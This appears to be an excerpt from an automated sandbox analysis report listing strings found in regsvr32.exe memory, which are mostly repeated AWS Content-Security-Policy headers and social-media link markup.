Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: <a class="lb-txt-none lb-txt-p-chromium lb-none-pad lb-none-v-margin lb-txt" style="padding-right:5px;" href="https://www.facebook.com/amazonwebservices" target="_blank" rel="noopener" title="Facebook"> <i class="icon-facebook"></i></a> equals www.facebook.com (Facebook)
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: <a class="lb-txt-none lb-txt-p-chromium lb-none-pad lb-txt" style="padding-right:5px;" href="https://www.youtube.com/user/AmazonWebServices/Cloud/" target="_blank" rel="noopener" title="YouTube"> <i class="icon-youtube"></i></a> equals www.youtube.com (Youtube)
Source: regsvr32.exe, 00000003.00000002.2105442912.0000000003469000.00000004.00000001.sdmp	String found in binary or memory: .awsstatic.com https://calculator.aws https://dpm.demdex.net https://www.youtube-nocookie.com; img-src 'self' data: https://.ads.linkedin.com https://.vidyard.com https://*.ytimg.com https://a0.awsstatic.com https://amazonwebservices.d2.sc.omtrdc.net https://aws-quickstart.s3.amazonaws.com https://awsmedia.s3.amazonaws.com https://d1.awsstatic-china.com https://d1.awsstatic.com https://d2908q01vomqb2.cloudfront.net https://d36cz9buwru1tt.cloudfront.net https://docs.aws.amazon.com https://dpm.demdex.net https://fls-na.amazon.com https://googleads.g.doubleclick.net https://img.youtube.com https://marketingplatform.google.com https://media.amazonwebservices.com https://p.adsymptotic.com https://pages.awscloud.com https://s3.amazonaws.com/aws-quickstart/ https://sslE equals www.linkedin.com (Linkedin)
Source: regsvr32.exe, 00000003.00000002.2105442912.0000000003469000.00000004.00000001.sdmp	String found in binary or memory: .awsstatic.com https://calculator.aws https://dpm.demdex.net https://www.youtube-nocookie.com; img-src 'self' data: https://.ads.linkedin.com https://.vidyard.com https://*.ytimg.com https://a0.awsstatic.com https://amazonwebservices.d2.sc.omtrdc.net https://aws-quickstart.s3.amazonaws.com https://awsmedia.s3.amazonaws.com https://d1.awsstatic-china.com https://d1.awsstatic.com https://d2908q01vomqb2.cloudfront.net https://d36cz9buwru1tt.cloudfront.net https://docs.aws.amazon.com https://dpm.demdex.net https://fls-na.amazon.com https://googleads.g.doubleclick.net https://img.youtube.com https://marketingplatform.google.com https://media.amazonwebservices.com https://p.adsymptotic.com https://pages.awscloud.com https://s3.amazonaws.com/aws-quickstart/ https://sslE equals www.youtube.com (Youtube)
Source: regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: Content-Security-Policy-Report-Only: default-src 'self' data: https://a0.awsstatic.com; connect-src 'self' https://112-tzm-766.mktoresp.com https://112-tzm-766.mktoutil.com https://a0.awsstatic.com https://a0.p.awsstatic.com https://a1.awsstatic.com https://amazonwebservices.d2.sc.omtrdc.net https://amazonwebservicesinc.tt.omtrdc.net https://api.regional-table.region-services.aws.a2z.com https://api.us-west-2.prod.pricing.aws.a2z.com https://b0.p.awsstatic.com https://c0.b0.p.awsstatic.com https://calculator.aws https://d0.awsstatic.com https://d1.awsstatic.com https://d1fgizr415o1r6.cloudfront.net https://d3borx6sfvnesb.cloudfront.net https://dc.ads.linkedin.com https://dftu77xade0tc.cloudfront.net https://dpm.demdex.net https://fls-na.amazon.com https://googleads.g.doubleclick.net https://i18n-string.us-west-2.prod.pricing.aws.a2z.com https://prod.log.shortbread.aws.dev https://prod.tools.shortbread.aws.dev https://s0.awsstatic.com https://s3.amazonaws.com/aws-messaging-pricing-information/ https://s3.amazonaws.com/public-pricing-agc/ https://spot-bid-advisor.s3.amazonaws.com https://view-stage.us-west-2.prod.pricing.aws.a2z.com https://view-staging.us-east-1.prod.plc1-prod.pricing.aws.a2z.com https://www.youtube-nocookie.com; font-src 'self' data: https://a0.awsstatic.com https://f0.awsstatic.com https://fonts.gstatic.com; frame-src 'self' https://c0.b0.p.awsstatic.com https://calculator.aws https://dpm.demdex.net https://www.youtube-nocookie.com; img-src 'self' data: https://.ads.linkedin.com https://.vidyard.com https://.ytimg.com https://a0.awsstatic.com https://amazonwebservices.d2.sc.omtrdc.net https://aws-quickstart.s3.amazonaws.com https://awsmedia.s3.amazonaws.com https://d1.awsstatic-china.com https://d1.awsstatic.com https://d2908q01vomqb2.cloudfront.net https://d36cz9buwru1tt.cloudfront.net https://docs.aws.amazon.com https://dpm.demdex.net https://fls-na.amazon.com https://googleads.g.doubleclick.net https://img.youtube.com https://marketingplatform.google.com https://media.amazonwebservices.com https://p.adsymptotic.com https://pages.awscloud.com https://s3.amazonaws.com/aws-quickstart/ https://ssl-static.libsyn.com https://static-cdn.jtvnw.net https://www.google.com https://www.linkedin.com https://yt3.ggpht.com; media-src 'self' https://.libsyn.com https://a0.awsstatic.com https://anchor.fm https://awsmedia.s3.amazonaws.com https://awspodcastsiberiaent.s3.eu-west-3.amazonaws.com https://chtbl.com https://d1.awsstatic.com https://d1hemuljm71t2j.cloudfront.net https://d1le29qyzha1u4.cloudfront.net https://d1oqpvwii7b6rh.cloudfront.net https://d1vo51ubqkiilx.cloudfront.net https://d1yyh5dhdgifnx.cloudfront.net https://d2908q01vomqb2.cloudfront.net https://d2a6igt6jhaluh.cloudfront.net h equals www.linkedin.com (Linkedin)
Source: regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: Content-Security-Policy-Report-Only: default-src 'self' data: https://a0.awsstatic.com; connect-src 'self' https://112-tzm-766.mktoresp.com https://112-tzm-766.mktoutil.com https://a0.awsstatic.com https://a0.p.awsstatic.com https://a1.awsstatic.com https://amazonwebservices.d2.sc.omtrdc.net https://amazonwebservicesinc.tt.omtrdc.net https://api.regional-table.region-services.aws.a2z.com https://api.us-west-2.prod.pricing.aws.a2z.com https://b0.p.awsstatic.com https://c0.b0.p.awsstatic.com https://calculator.aws https://d0.awsstatic.com https://d1.awsstatic.com https://d1fgizr415o1r6.cloudfront.net https://d3borx6sfvnesb.cloudfront.net https://dc.ads.linkedin.com https://dftu77xade0tc.cloudfront.net https://dpm.demdex.net https://fls-na.amazon.com https://googleads.g.doubleclick.net https://i18n-string.us-west-2.prod.pricing.aws.a2z.com https://prod.log.shortbread.aws.dev https://prod.tools.shortbread.aws.dev https://s0.awsstatic.com https://s3.amazonaws.com/aws-messaging-pricing-information/ https://s3.amazonaws.com/public-pricing-agc/ https://spot-bid-advisor.s3.amazonaws.com https://view-stage.us-west-2.prod.pricing.aws.a2z.com https://view-staging.us-east-1.prod.plc1-prod.pricing.aws.a2z.com https://www.youtube-nocookie.com; font-src 'self' data: https://a0.awsstatic.com https://f0.awsstatic.com https://fonts.gstatic.com; frame-src 'self' https://c0.b0.p.awsstatic.com https://calculator.aws https://dpm.demdex.net https://www.youtube-nocookie.com; img-src 'self' data: https://.ads.linkedin.com https://.vidyard.com https://.ytimg.com https://a0.awsstatic.com https://amazonwebservices.d2.sc.omtrdc.net https://aws-quickstart.s3.amazonaws.com https://awsmedia.s3.amazonaws.com https://d1.awsstatic-china.com https://d1.awsstatic.com https://d2908q01vomqb2.cloudfront.net https://d36cz9buwru1tt.cloudfront.net https://docs.aws.amazon.com https://dpm.demdex.net https://fls-na.amazon.com https://googleads.g.doubleclick.net https://img.youtube.com https://marketingplatform.google.com https://media.amazonwebservices.com https://p.adsymptotic.com https://pages.awscloud.com https://s3.amazonaws.com/aws-quickstart/ https://ssl-static.libsyn.com https://static-cdn.jtvnw.net https://www.google.com https://www.linkedin.com https://yt3.ggpht.com; media-src 'self' https://.libsyn.com https://a0.awsstatic.com https://anchor.fm https://awsmedia.s3.amazonaws.com https://awspodcastsiberiaent.s3.eu-west-3.amazonaws.com https://chtbl.com https://d1.awsstatic.com https://d1hemuljm71t2j.cloudfront.net https://d1le29qyzha1u4.cloudfront.net https://d1oqpvwii7b6rh.cloudfront.net https://d1vo51ubqkiilx.cloudfront.net https://d1yyh5dhdgifnx.cloudfront.net https://d2908q01vomqb2.cloudfront.net https://d2a6igt6jhaluh.cloudfront.net h equals www.youtube.com (Youtube)
Source: regsvr32.exe, 00000003.00000003.2099459469.0000000003473000.00000004.00000001.sdmp	String found in binary or memory: Content-Security-Policy-Report-Only: default-src 'self' data: https://a0.awsstatic.com; connect-src 'self' https://112-tzm-766.mktoresp.com https://112-tzm-766.mktoutil.com https://a0.awsstatic.com https://a0.p.awsstatic.com https://a1.awsstatic.com https://amazonwebservices.d2.sc.omtrdc.net https://amazonwebservicesinc.tt.omtrdc.net https://api.regional-table.region-services.aws.a2z.com https://api.us-west-2.prod.pricing.aws.a2z.com https://b0.p.awsstatic.com https://c0.b0.p.awsstatic.com https://calculator.aws https://d0.awsstatic.com https://d1.awsstatic.com https://d1fgizr415o1r6.cloudfront.net https://d3borx6sfvnesb.cloudfront.net https://dc.ads.linkedin.com https://dftu77xade0tc.cloudfront.net https://dpm.demdex.net https://fls-na.amazon.com https://googleads.g.doubleclick.net https://i18n-string.us-west-2.prod.pricing.aws.a2z.com https://prod.log.shortbread.aws.dev https://prod.tools.shortbread.aws.dev https://s0.awsstatic.com https://s3.amazonaws.com/aws-messaging-pricing-information/ https://s3.amazonaws.com/public-pricing-agc/ https://spot-bid-advisor.s3.amazonaws.com https://view-stage.us-west-2.prod.pricing.aws.a2z.com https://view-staging.us-east-1.prod.plc1-prod.pricing.aws.a2z.com https://www.youtube-nocookie.com; font-src 'self' data: https://a0.awsstatic.com https://f0.awsstatic.com https://fonts.gstatic.com; frame-src 'self' https://c0.b0.p.awsstatic.com https://calculator.aws https://dpm.demdex.net https://www.youtube-nocookie.com; img-src 'self' data: https://.ads.linkedin.com https://.vidyard.com https://.ytimg.com https://a0.awsstatic.com https://amazonwebservices.d2.sc.omtrdc.net https://aws-quickstart.s3.amazonaws.com https://awsmedia.s3.amazonaws.com https://d1.awsstatic-china.com https://d1.awsstatic.com https://d2908q01vomqb2.cloudfront.net https://d36cz9buwru1tt.cloudfront.net https://docs.aws.amazon.com https://dpm.demdex.net https://fls-na.amazon.com https://googleads.g.doubleclick.net https://img.youtube.com https://marketingplatform.google.com https://media.amazonwebservices.com https://p.adsymptotic.com https://pages.awscloud.com https://s3.amazonaws.com/aws-quickstart/ https://ssl-static.libsyn.com https://static-cdn.jtvnw.net https://www.google.com https://www.linkedin.com https://yt3.ggpht.com; media-src 'self' https://.libsyn.com https://a0.awsstatic.com https://anchor.fm https://awsmedia.s3.amazonaws.com https://awspodcastsiberiaent.s3.eu-west-3.amazonaws.com https://chtbl.com https://d1.awsstatic.com https://d1hemuljm71t2j.cloudfront.net https://d1le29qyzha1u4.cloudfront.net https://d1oqpvwii7b6rh.cloudfront.net https://d1vo51ubqkiilx.cloudfront.net https://d1yyh5dhdgifnx.cloudfront.net https://d2908q01vomqb2.cloudfront.net https://d2a6igt6jhaluh.cloudfront.net https://d3ctxlq1ktw2nl.cloudfront.net https://d3h2ozso0dirfl.cloudfront.net https://dgen8gghn3u86.cloudfront.net https://dk261l6wntthl.cloudfront.net https://download.stormacq.com/aws/podcast/ https://dts.podtrac.com https://media.amazonwebservice
Source: regsvr32.exe, 00000003.00000003.2099459469.0000000003473000.00000004.00000001.sdmp	String found in binary or memory: Content-Security-Policy-Report-Only: default-src 'self' data: https://a0.awsstatic.com; connect-src 'self' https://112-tzm-766.mktoresp.com https://112-tzm-766.mktoutil.com https://a0.awsstatic.com https://a0.p.awsstatic.com https://a1.awsstatic.com https://amazonwebservices.d2.sc.omtrdc.net https://amazonwebservicesinc.tt.omtrdc.net https://api.regional-table.region-services.aws.a2z.com https://api.us-west-2.prod.pricing.aws.a2z.com https://b0.p.awsstatic.com https://c0.b0.p.awsstatic.com https://calculator.aws https://d0.awsstatic.com https://d1.awsstatic.com https://d1fgizr415o1r6.cloudfront.net https://d3borx6sfvnesb.cloudfront.net https://dc.ads.linkedin.com https://dftu77xade0tc.cloudfront.net https://dpm.demdex.net https://fls-na.amazon.com https://googleads.g.doubleclick.net https://i18n-string.us-west-2.prod.pricing.aws.a2z.com https://prod.log.shortbread.aws.dev https://prod.tools.shortbread.aws.dev https://s0.awsstatic.com https://s3.amazonaws.com/aws-messaging-pricing-information/ https://s3.amazonaws.com/public-pricing-agc/ https://spot-bid-advisor.s3.amazonaws.com https://view-stage.us-west-2.prod.pricing.aws.a2z.com https://view-staging.us-east-1.prod.plc1-prod.pricing.aws.a2z.com https://www.youtube-nocookie.com; font-src 'self' data: https://a0.awsstatic.com https://f0.awsstatic.com https://fonts.gstatic.com; frame-src 'self' https://c0.b0.p.awsstatic.com https://calculator.aws https://dpm.demdex.net https://www.youtube-nocookie.com; img-src 'self' data: https://.ads.linkedin.com https://.vidyard.com https://.ytimg.com https://a0.awsstatic.com https://amazonwebservices.d2.sc.omtrdc.net https://aws-quickstart.s3.amazonaws.com https://awsmedia.s3.amazonaws.com https://d1.awsstatic-china.com https://d1.awsstatic.com https://d2908q01vomqb2.cloudfront.net https://d36cz9buwru1tt.cloudfront.net https://docs.aws.amazon.com https://dpm.demdex.net https://fls-na.amazon.com https://googleads.g.doubleclick.net https://img.youtube.com https://marketingplatform.google.com https://media.amazonwebservices.com https://p.adsymptotic.com https://pages.awscloud.com https://s3.amazonaws.com/aws-quickstart/ https://ssl-static.libsyn.com https://static-cdn.jtvnw.net https://www.google.com https://www.linkedin.com https://yt3.ggpht.com; media-src 'self' https://.libsyn.com https://a0.awsstatic.com https://anchor.fm https://awsmedia.s3.amazonaws.com https://awspodcastsiberiaent.s3.eu-west-3.amazonaws.com https://chtbl.com https://d1.awsstatic.com https://d1hemuljm71t2j.cloudfront.net https://d1le29qyzha1u4.cloudfront.net https://d1oqpvwii7b6rh.cloudfront.net https://d1vo51ubqkiilx.cloudfront.net https://d1yyh5dhdgifnx.cloudfront.net https://d2908q01vomqb2.cloudfront.net https://d2a6igt6jhaluh.cloudfront.net https://d3ctxlq1ktw2nl.cloudfront.net https://d3h2ozso0dirfl.cloudfront.net https://dgen8gghn3u86.cloudfront.net https://dk261l6wntthl.cloudfront.net https://download.stormacq.com/aws/podcast/ https://dts.podtrac.com https://media.amazonwebservice
Source: regsvr32.exe, 00000003.00000002.2103529559.0000000003080000.00000002.00000001.sdmp	String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: regsvr32.exe, 00000003.00000003.2099459469.0000000003473000.00000004.00000001.sdmp	String found in binary or memory: X-Amz-Cf-IdtrJmSI2RwF3zXOglSq4q_psrm8jvVAdLmVUJlc6jDoL_jIDpwcTrug==X-Amz-Cf-PopFRA2-C2X-CacheMiss from cloudfrontPermissions-Policyinterest-cohort=()Content-Security-Policy-Report-Onlydefault-src 'self' data: https://a0.awsstatic.com; connect-src 'self' https://112-tzm-766.mktoresp.com https://112-tzm-766.mktoutil.com https://a0.awsstatic.com https://a0.p.awsstatic.com https://a1.awsstatic.com https://amazonwebservices.d2.sc.omtrdc.net https://amazonwebservicesinc.tt.omtrdc.net https://api.regional-table.region-services.aws.a2z.com https://api.us-west-2.prod.pricing.aws.a2z.com https://b0.p.awsstatic.com https://c0.b0.p.awsstatic.com https://calculator.aws https://d0.awsstatic.com https://d1.awsstatic.com https://d1fgizr415o1r6.cloudfront.net https://d3borx6sfvnesb.cloudfront.net https://dc.ads.linkedin.com https://dftu77xade0tc.cloudfront.net https://dpm.demdex.net https://fls-na.amazon.com https://googleads.g.doubleclick.net https://i18n-string.us-west-2.prod.pricing.aws.a2z.com https://prod.log.shortbread.aws.dev https://prod.tools.shortbread.aws.dev https://s0.awsstatic.com https://s3.amazonaws.com/aws-messaging-pricing-information/ https://s3.amazonaws.com/public-pricing-agc/ https://spot-bid-advisor.s3.amazonaws.com https://view-stage.us-west-2.prod.pricing.aws.a2z.com https://view-staging.us-east-1.prod.plc1-prod.pricing.aws.a2z.com https://www.youtube-nocookie.com; font-src 'self' data: https://a0.awsstatic.com https://f0.awsstatic.com https://fonts.gstatic.com; frame-src 'self' https://c0.b0.p.awsstatic.com https://calculator.aws https://dpm.demdex.net https://www.youtube-nocookie.com; img-src 'self' data: https://.ads.linkedin.com https://.vidyard.com https://.ytimg.com https://a0.awsstatic.com https://amazonwebservices.d2.sc.omtrdc.net https://aws-quickstart.s3.amazonaws.com https://awsmedia.s3.amazonaws.com https://d1.awsstatic-china.com https://d1.awsstatic.com https://d2908q01vomqb2.cloudfront.net https://d36cz9buwru1tt.cloudfront.net https://docs.aws.amazon.com https://dpm.demdex.net https://fls-na.amazon.com https://googleads.g.doubleclick.net https://img.youtube.com https://marketingplatform.google.com https://media.amazonwebservices.com https://p.adsymptotic.com https://pages.awscloud.com https://s3.amazonaws.com/aws-quickstart/ https://ssl-static.libsyn.com https://static-cdn.jtvnw.net https://www.google.com https://www.linkedin.com https://yt3.ggpht.com; media-src 'self' https://.libsyn.com https://a0.awsstatic.com https://anchor.fm https://awsmedia.s3.amazonaws.com https://awspodcastsiberiaent.s3.eu-west-3.amazonaws.com https://chtbl.com https://d1.awsstatic.com https://d1hemuljm71t2j.cloudfront.net https://d1le29qyzha1u4.cloudfront.net https://d1oqpvwii7b6rh.cloudfront.net https://d1vo51ubqkiilx.cloudfront.net https://d1yyh5dhdgifnx.cloudfront.net https://d2908q01vomqb2.cloudfront.net https://d2a6igt6jhaluh.cloudfront.net https://d3ctxlq1ktw2nl.cloudfront.net https://d3h2ozso0dirfl.cloudfront.net https://dgen8gghn3u86.cl
Source: regsvr32.exe, 00000003.00000003.2099459469.0000000003473000.00000004.00000001.sdmp	String found in binary or memory: X-Amz-Cf-IdtrJmSI2RwF3zXOglSq4q_psrm8jvVAdLmVUJlc6jDoL_jIDpwcTrug==X-Amz-Cf-PopFRA2-C2X-CacheMiss from cloudfrontPermissions-Policyinterest-cohort=()Content-Security-Policy-Report-Onlydefault-src 'self' data: https://a0.awsstatic.com; connect-src 'self' https://112-tzm-766.mktoresp.com https://112-tzm-766.mktoutil.com https://a0.awsstatic.com https://a0.p.awsstatic.com https://a1.awsstatic.com https://amazonwebservices.d2.sc.omtrdc.net https://amazonwebservicesinc.tt.omtrdc.net https://api.regional-table.region-services.aws.a2z.com https://api.us-west-2.prod.pricing.aws.a2z.com https://b0.p.awsstatic.com https://c0.b0.p.awsstatic.com https://calculator.aws https://d0.awsstatic.com https://d1.awsstatic.com https://d1fgizr415o1r6.cloudfront.net https://d3borx6sfvnesb.cloudfront.net https://dc.ads.linkedin.com https://dftu77xade0tc.cloudfront.net https://dpm.demdex.net https://fls-na.amazon.com https://googleads.g.doubleclick.net https://i18n-string.us-west-2.prod.pricing.aws.a2z.com https://prod.log.shortbread.aws.dev https://prod.tools.shortbread.aws.dev https://s0.awsstatic.com https://s3.amazonaws.com/aws-messaging-pricing-information/ https://s3.amazonaws.com/public-pricing-agc/ https://spot-bid-advisor.s3.amazonaws.com https://view-stage.us-west-2.prod.pricing.aws.a2z.com https://view-staging.us-east-1.prod.plc1-prod.pricing.aws.a2z.com https://www.youtube-nocookie.com; font-src 'self' data: https://a0.awsstatic.com https://f0.awsstatic.com https://fonts.gstatic.com; frame-src 'self' https://c0.b0.p.awsstatic.com https://calculator.aws https://dpm.demdex.net https://www.youtube-nocookie.com; img-src 'self' data: https://.ads.linkedin.com https://.vidyard.com https://.ytimg.com https://a0.awsstatic.com https://amazonwebservices.d2.sc.omtrdc.net https://aws-quickstart.s3.amazonaws.com https://awsmedia.s3.amazonaws.com https://d1.awsstatic-china.com https://d1.awsstatic.com https://d2908q01vomqb2.cloudfront.net https://d36cz9buwru1tt.cloudfront.net https://docs.aws.amazon.com https://dpm.demdex.net https://fls-na.amazon.com https://googleads.g.doubleclick.net https://img.youtube.com https://marketingplatform.google.com https://media.amazonwebservices.com https://p.adsymptotic.com https://pages.awscloud.com https://s3.amazonaws.com/aws-quickstart/ https://ssl-static.libsyn.com https://static-cdn.jtvnw.net https://www.google.com https://www.linkedin.com https://yt3.ggpht.com; media-src 'self' https://.libsyn.com https://a0.awsstatic.com https://anchor.fm https://awsmedia.s3.amazonaws.com https://awspodcastsiberiaent.s3.eu-west-3.amazonaws.com https://chtbl.com https://d1.awsstatic.com https://d1hemuljm71t2j.cloudfront.net https://d1le29qyzha1u4.cloudfront.net https://d1oqpvwii7b6rh.cloudfront.net https://d1vo51ubqkiilx.cloudfront.net https://d1yyh5dhdgifnx.cloudfront.net https://d2908q01vomqb2.cloudfront.net https://d2a6igt6jhaluh.cloudfront.net https://d3ctxlq1ktw2nl.cloudfront.net https://d3h2ozso0dirfl.cloudfront.net https://dgen8gghn3u86.cl
Source: regsvr32.exe, 00000003.00000002.2105442912.0000000003469000.00000004.00000001.sdmp	String found in binary or memory: bsyn.com https://static-cdn.jtvnw.net https://www.google.com https://www.linkedin.com https://yt3.ggpht.com; media-src 'self' https://*.libsyn.com https://a0.awsstatic.com https://anchor.fm https://awsmedia.s3.amazonaws.com https://awspodcastsiberiaent.s3.eu-west-3.amaz equals www.linkedin.com (Linkedin)
Source: regsvr32.exe, 00000003.00000003.2099459469.0000000003473000.00000004.00000001.sdmp	String found in binary or memory: default-src 'self' data: https://a0.awsstatic.com; connect-src 'self' https://112-tzm-766.mktoresp.com https://112-tzm-766.mktoutil.com https://a0.awsstatic.com https://a0.p.awsstatic.com https://a1.awsstatic.com https://amazonwebservices.d2.sc.omtrdc.net https://amazonwebservicesinc.tt.omtrdc.net https://api.regional-table.region-services.aws.a2z.com https://api.us-west-2.prod.pricing.aws.a2z.com https://b0.p.awsstatic.com https://c0.b0.p.awsstatic.com https://calculator.aws https://d0.awsstatic.com https://d1.awsstatic.com https://d1fgizr415o1r6.cloudfront.net https://d3borx6sfvnesb.cloudfront.net https://dc.ads.linkedin.com https://dftu77xade0tc.cloudfront.net https://dpm.demdex.net https://fls-na.amazon.com https://googleads.g.doubleclick.net https://i18n-string.us-west-2.prod.pricing.aws.a2z.com https://prod.log.shortbread.aws.dev https://prod.tools.shortbread.aws.dev https://s0.awsstatic.com https://s3.amazonaws.com/aws-messaging-pricing-information/ https://s3.amazonaws.com/public-pricing-agc/ https://spot-bid-advisor.s3.amazonaws.com https://view-stage.us-west-2.prod.pricing.aws.a2z.com https://view-staging.us-east-1.prod.plc1-prod.pricing.aws.a2z.com https://www.youtube-nocookie.com; font-src 'self' data: https://a0.awsstatic.com https://f0.awsstatic.com https://fonts.gstatic.com; frame-src 'self' https://c0.b0.p.awsstatic.com https://calculator.aws https://dpm.demdex.net https://www.youtube-nocookie.com; img-src 'self' data: https://.ads.linkedin.com https://.vidyard.com https://.ytimg.com https://a0.awsstatic.com https://amazonwebservices.d2.sc.omtrdc.net https://aws-quickstart.s3.amazonaws.com https://awsmedia.s3.amazonaws.com https://d1.awsstatic-china.com https://d1.awsstatic.com https://d2908q01vomqb2.cloudfront.net https://d36cz9buwru1tt.cloudfront.net https://docs.aws.amazon.com https://dpm.demdex.net https://fls-na.amazon.com https://googleads.g.doubleclick.net https://img.youtube.com https://marketingplatform.google.com https://media.amazonwebservices.com https://p.adsymptotic.com https://pages.awscloud.com https://s3.amazonaws.com/aws-quickstart/ https://ssl-static.libsyn.com https://static-cdn.jtvnw.net https://www.google.com https://www.linkedin.com https://yt3.ggpht.com; media-src 'self' https://.libsyn.com https://a0.awsstatic.com https://anchor.fm https://awsmedia.s3.amazonaws.com https://awspodcastsiberiaent.s3.eu-west-3.amazonaws.com https://chtbl.com https://d1.awsstatic.com https://d1hemuljm71t2j.cloudfront.net https://d1le29qyzha1u4.cloudfront.net https://d1oqpvwii7b6rh.cloudfront.net https://d1vo51ubqkiilx.cloudfront.net https://d1yyh5dhdgifnx.cloudfront.net https://d2908q01vomqb2.cloudfront.net https://d2a6igt6jhaluh.cloudfront.net https://d3ctxlq1ktw2nl.cloudfront.net https://d3h2ozso0dirfl.cloudfront.net https://dgen8gghn3u86.cloudfront.net https://dk261l6wntthl.cloudfront.net https://download.stormacq.com/aws/podcast/ https://dts.podtrac.com https://media.amazonwebservices.com https://mktg-apac.s3-ap-southea
Source: regsvr32.exe, 00000003.00000003.2099459469.0000000003473000.00000004.00000001.sdmp	String found in binary or memory: default-src 'self' data: https://a0.awsstatic.com; connect-src 'self' https://112-tzm-766.mktoresp.com https://112-tzm-766.mktoutil.com https://a0.awsstatic.com https://a0.p.awsstatic.com https://a1.awsstatic.com https://amazonwebservices.d2.sc.omtrdc.net https://amazonwebservicesinc.tt.omtrdc.net https://api.regional-table.region-services.aws.a2z.com https://api.us-west-2.prod.pricing.aws.a2z.com https://b0.p.awsstatic.com https://c0.b0.p.awsstatic.com https://calculator.aws https://d0.awsstatic.com https://d1.awsstatic.com https://d1fgizr415o1r6.cloudfront.net https://d3borx6sfvnesb.cloudfront.net https://dc.ads.linkedin.com https://dftu77xade0tc.cloudfront.net https://dpm.demdex.net https://fls-na.amazon.com https://googleads.g.doubleclick.net https://i18n-string.us-west-2.prod.pricing.aws.a2z.com https://prod.log.shortbread.aws.dev https://prod.tools.shortbread.aws.dev https://s0.awsstatic.com https://s3.amazonaws.com/aws-messaging-pricing-information/ https://s3.amazonaws.com/public-pricing-agc/ https://spot-bid-advisor.s3.amazonaws.com https://view-stage.us-west-2.prod.pricing.aws.a2z.com https://view-staging.us-east-1.prod.plc1-prod.pricing.aws.a2z.com https://www.youtube-nocookie.com; font-src 'self' data: https://a0.awsstatic.com https://f0.awsstatic.com https://fonts.gstatic.com; frame-src 'self' https://c0.b0.p.awsstatic.com https://calculator.aws https://dpm.demdex.net https://www.youtube-nocookie.com; img-src 'self' data: https://.ads.linkedin.com https://.vidyard.com https://.ytimg.com https://a0.awsstatic.com https://amazonwebservices.d2.sc.omtrdc.net https://aws-quickstart.s3.amazonaws.com https://awsmedia.s3.amazonaws.com https://d1.awsstatic-china.com https://d1.awsstatic.com https://d2908q01vomqb2.cloudfront.net https://d36cz9buwru1tt.cloudfront.net https://docs.aws.amazon.com https://dpm.demdex.net https://fls-na.amazon.com https://googleads.g.doubleclick.net https://img.youtube.com https://marketingplatform.google.com https://media.amazonwebservices.com https://p.adsymptotic.com https://pages.awscloud.com https://s3.amazonaws.com/aws-quickstart/ https://ssl-static.libsyn.com https://static-cdn.jtvnw.net https://www.google.com https://www.linkedin.com https://yt3.ggpht.com; media-src 'self' https://.libsyn.com https://a0.awsstatic.com https://anchor.fm https://awsmedia.s3.amazonaws.com https://awspodcastsiberiaent.s3.eu-west-3.amazonaws.com https://chtbl.com https://d1.awsstatic.com https://d1hemuljm71t2j.cloudfront.net https://d1le29qyzha1u4.cloudfront.net https://d1oqpvwii7b6rh.cloudfront.net https://d1vo51ubqkiilx.cloudfront.net https://d1yyh5dhdgifnx.cloudfront.net https://d2908q01vomqb2.cloudfront.net https://d2a6igt6jhaluh.cloudfront.net https://d3ctxlq1ktw2nl.cloudfront.net https://d3h2ozso0dirfl.cloudfront.net https://dgen8gghn3u86.cloudfront.net https://dk261l6wntthl.cloudfront.net https://download.stormacq.com/aws/podcast/ https://dts.podtrac.com https://media.amazonwebservices.com https://mktg-apac.s3-ap-southea
Source: regsvr32.exe, 00000003.00000002.2105442912.0000000003469000.00000004.00000001.sdmp	String found in binary or memory: front.net https://d3borx6sfvnesb.cloudfront.net https://dc.ads.linkedin.com https://dftu77xade0tc.cloudfront.net https://dpm.demdex.net https://fls-na.amazon.com https://googleads.g.doubleclick.net https://i18n-string.us-west-2.prod.pricing.aws.a2z.com https://prod.log.shortbread.aws.dev https://prod.tools.shortbread.aws.dev https://s0.awsstatic.com https://s3.amazonaws.com/aws-messaging-pricing-information/ https://s3.amazonaws.com/public-pricing-agc/ https://spot-bid-advisor.s3.amazonaws.com https://view-stage.us-west-2.prod.pricing.aws.a2z.com https://view-staging.us-east-1.prod.plc1-prod.pricing.aws.a2z.com https://www.youtube-nocookie.com; font-src 'self' data: https://a0.awsstatic.com https://f0.awsstatic.com https://fonts.gstatic.com; frame-src 'self' https equals www.linkedin.com (Linkedin)
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	String found in binary or memory: util.com https://a0.awsstatic.com https://a0.p.awsstatic.com https://a1.awsstatic.com https://amazonwebservices.d2.sc.omtrdc.net https://amazonwebservicesinc.tt.omtrdc.net https://api.regional-table.region-services.aws.a2z.com https://api.us-west-2.prod.pricing.aws.a2z.com https://b0.p.awsstatic.com https://c0.b0.p.awsstatic.com https://calculator.aws https://d0.awsstatic.com https://d1.awsstatic.com https://d1fgizr415o1r6.cloudfront.net https://d3borx6sfvnesb.cloudfront.net https://dc.ads.linkedin.com https://dftu77xade0tc.cloudfront.net https://dpm.demdex.net https://fls-na.amazon.com https://googleads.g.doubleclick.net https://i18n-string.us-west-2.prod.pricing.aws.a2z.com https://prod.log.shortbread.aws.dev https://prod.tools.shortbread.aws.dev https://s0.awsstatic.com https://s3.amazonaws.com/aws-messaging-pricing-information/ https://s3.amazonaws.com/public-pricing-agc/ https://spot-bid-advisor.s3.amazonaws.com https://view-stage.us-west-2.prod.pricing.aws.a2z.com https://view-staging.us-east-1.prod.plc1-prod.pricing.aws.a2z.com https://www.youtube-nocookie.com; font-src 'self' data: https://a0.awsstatic.com https://f0.awsstatic.com https://fonts.gstatic.com; frame-src 'self' https://c0.b0.p.awsstatic.com https://calculator.aws https://dpm.demdex.net https://www.youtube-nocookie.com; img-src 'self' data: https://.ads.linkedin.com https://.vidyard.com https://.ytimg.com https://a0.awsstatic.com 